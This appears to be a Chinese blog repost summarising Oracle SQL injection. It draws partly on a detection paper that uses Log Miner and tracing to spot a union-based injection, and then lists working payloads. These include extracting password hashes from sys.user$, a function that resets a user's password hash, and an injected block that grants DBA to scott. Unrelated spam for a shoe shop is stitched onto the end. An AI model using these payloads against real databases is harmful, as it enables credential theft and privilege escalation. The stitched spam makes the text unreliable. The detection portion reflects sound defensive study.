oracle注射总结

韩小末

资料：http://www.petefinnigan.com/papers/detect.sql'
a'='a' or 1=1
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::EMIL
::FRED

SQL> select log_mode from v$database;
SQL> select name,value from v$parameter
2 where name in('log_archive_start','log_archive_dest');
NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
log_archive_start
TRUE
log_archive_dest
/export/home/u01/app/oracle/admin/emil/archive
SQL> select name,value from v$parameter
2 where name = 'transaction_auditing';
NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
transaction_auditing
TRUE
Now execute the SQL injection attempt and then use Log Miner to see what is recorded. To make the analysis easier for this example, the archive log is saved before and after to ensure only this command is in the log:

SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;
System altered.
SQL>
SQL> connect dbsnmp/dbsnmp@emil
Connected.
SQL> set serveroutput on size 100000
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::EMIL
<records snipped>
::SYS
::SYSTEM
::WKSYS
::ZULIA
PL/SQL procedure successfully completed.
SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;
System altered.
SQL>
First create the Log Miner dictionary:

SQL> set serveroutput on size 1000000
SQL> exec dbms_logmnr_d.build('logmnr.dat','/tmp');
LogMnr Dictionary Procedure started
LogMnr Dictionary File Opened
TABLE: OBJ$ recorded in LogMnr Dictionary File
TABLE: TAB$ recorded in LogMnr Dictionary File
TABLE: COL$ recorded in LogMnr Dictionary File
TABLE: TS$ recorded in LogMnr Dictionary File
<output snipped>
Procedure executed successfully - LogMnr Dictionary Created
PL/SQL procedure successfully completed.
SQL> select name
2 from v$archived_log
3 where completion_time=(select max(completion_time) from v$archived_log);
NAME
--------------------------------------------------------------------------------
/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf
SQL>
Now load the archive log file into Log Miner:

SQL> exec dbms_logmnr.add_logfile('/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf',sys.dbms_logmnr.NEW);
PL/SQL procedure successfully completed.
SQL> exec dbms_logmnr.start_logmnr(dictFileName => '/tmp/logmnr.dat');
PL/SQL procedure successfully completed.
SQL>
Finally, search the results:

SQL> select scn,username,timestamp,sql_redo
2 from v$logmnr_contents
SQL>
<snipped>
SCN USERNAME TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
253533 DBSNMP 16-JUN-03 set transaction read write;
253533 DBSNMP 16-JUN-03 update "SYS"."AUD$" set
"ACTION#" = '101',
"RETURNCODE" = '0',
"LOGOFF$LREAD" = '228',
"LOGOFF$PREAD" = '0',
"LOGOFF$LWRITE" = '10',
"LOGOFF$DEAD" = '0',
"LOGOFF$TIME" =
TO_DATE('16-JUN-2003
12:16:12', 'DD-MON-YYYY
SCN USERNAME TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
HH24:MI:SS'), "SESSIONCPU" =
'5' where "ACTION#" = '100'
and "RETURNCODE" = '0' and
"LOGOFF$LREAD" IS NULL and
"LOGOFF$PREAD" IS NULL and
"LOGOFF$LWRITE" IS NULL and
"LOGOFF$DEAD" IS NULL and
"LOGOFF$TIME" IS NULL and
"SESSIONCPU" IS NULL and ROWID
= 'AAAABiAABAAAAEWAAX';

SCN USERNAME TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
253534 DBSNMP 16-JUN-03 commit;
<snipped output>
SQL> select p.spid,s.username
2 from v$session s,v$process p
3 where s.paddr=p.addr;
SPID USERNAME
--------- ------------------------------
<records snipped>
616 DBSNMP
556 SYSTEM
9 rows selected.
SQL>
To enable trace simply add the following lines to the $ORACLE_HOME/network/admin/sqlnet.ora file:

TRACE_FILE_SERVER=pf_trace.trc
TRACE_DIRECTORY_SERVER=/tmp
TRACE_LEVEL_SERVER=SUPPORT
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
PL/SQL procedure successfully completed.
exec get_cust2('x'' or ''x''=''x'' --');
exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
exec get_cust('x'' union select object_name,object_type,''x'' from user_objects where ''x''=''x');
exec get_cust('x'' union select granted_role,admin_option,default_role from user_role_privs where ''x''=''x');
exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_privs where ''x''=''x');
exec get_cust_bind('Clark');
exec get_cust_bind('x'' union select username from all_users where ''x''=''x');

select customer_phone from customers where customer_surname='x' select username from all_users where 'x'='x'  

select customer_phone from customers where customer_surname='x' union select username from all_users where 'x'='x'  
select customer_phone from customers where customer_surname='x' or exists (select 1 from   
sys.dual) and 'x'='x'
select customer_phone from customers where customer_surname='x' or 'x'='x'

select customer_phone from customers where customer_surname='x' or 'x'='x' --' and      
customer_type=1
select customer_phone from customers where customer_surname='x' union select sys.login_user from sys.dual where 'x'='x'  
select customer_phone from customers where customer_surname='x' union select to_char(sysdate) from sys.dual@plsq where 'x'='x'  
select customer_phone,customer_forname,customer_surname from customers where         
customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'

select customer_phone,customer_forname,customer_surname from customers where        customer_surname='x' union select object_name,object_type,'x' from user_objects where 'x'='x'     
select customer_phone,customer_forname,customer_surname from customers where         
customer_surname='x' union select granted_role,admin_option,default_role from user_role_privs where 'x'='x'  
select customer_phone,customer_forname,customer_surname from customers where         
customer_surname='x' union select privilege,admin_option,'X' from user_sys_privs where 'x'='x'  
select customer_phone from customers where customer_surname=:surname::999444888   

select customer_phone from customers where customer_surname=:surname   

exec get_cust('x'' union select username from all_users where ''x''=''x')
exec dbms_logmnr.add_logfile('/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf',sys.dbms_logmnr.NEW)
exec dbms_logmnr.start_logmnr(dictFileName => '/tmp/logmnr.dat')
exec get_cust('x'' union select username from all_users where ''x''=''x')
exec get_cust('x'' union select username from all_users where ''x''=''x')
exec get_cust('x'' union select username from all_users where ''x''=''x')

exec sys.list_libraries(‘sys’);
exec sys.list_libraries(‘foo’’union select password from sys.user$--);
select sys.select_count(‘sys’)from dual;
select sys.select_count(‘sys’ union select password from sys.user$where name=”sys”—‘)from dual;
select sys.select_count(‘sys”union select user#from sys.user$ where name=”sys”—‘)from dual;  
select sys.select_count(‘sys’’and object name=(select password from sys.user$where name=”sys”—‘)from dual;
select sys.select_count(‘foo”||scott.get_it()—‘)from dual;
call exec dbms_output.put_line(‘output’)
exec sys.new_emp(‘foo”||scott.get_it)—‘);
create or replace function rstpwd return
varchar2 authid current_user is
mystmt varchar2(200);
begin
mystmt:=’update sys.user$set password=
“fe0e8ce7c92504e9”where name=”anonymous”’;
execute immediate mystmt;
return ‘foo’;
end
/
exec sys.new_emp(‘p”||scott.rstpwd)—‘);

exec sys.anon_block(‘foobar’);
exec sys.anon_block(‘f”);execute immediate “grant dba to scott”; end;--‘);


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=149233

益澜鸣

(￣ω￣)~~谢谢啦^^好买家！ 欢迎您的光临""~~~HoHo~~~~

▂▃▆█ 福建亮亮运动鞋店╰★╮www.WZFZD.com █▆▃▂

(点击可看)
★︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻★
【．╭╮╭╮．∵╭══════════╮】
【╭◆┴┴◆╮．│亮亮期待您的大架光临│】
【│︵　　︵│．│您的支持，偶的动力噢│】
【│　╰╯　│．╰══════════╯】
【╰○－－○╯．∵▼．∵▼．∵▼．∵▼．】
★︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻︻★
☆°!°☆．﹒!°☆．∴°☆﹒﹒!☆° ☆°☆☆°!°☆°☆

QQ客服: 736126000 / 763845111 / 792546222

┏┯┓┏┯┓┏┯┓┏┯┓ ┏┯┓┏┯┓┏┯┓┏┯┓
┠因┨┠为┨┠专┨┠业┨ ┠所┨┠以┨┠精┨┠彩┨
┗┷┛┗┷┛┗┷┛┗┷┛ ┗┷┛┗┷┛┗┷[size=+0]┛┗┷┛

[size=+0]

店铺关键词：
福建亮亮/外贸鞋/鞋店/福建运动鞋/莆田鞋/耐克/NIKE/ADIDAS/阿迪/PUMA/彪马/UGG/AF1/空军一号/AIR FORCE 1/运动鞋批发/DUNK SB/**红/情人节/文化鞋/休闲鞋/360跑鞋/三叶草/死亡之吻/陈冠希/VISVIM/藤原浩/CLOT/拖鞋/Air Max 87 90/乔丹篮球鞋/13代/詹姆斯 6代 7代/科比/桑巴/法拉利/LTD/七彩虹...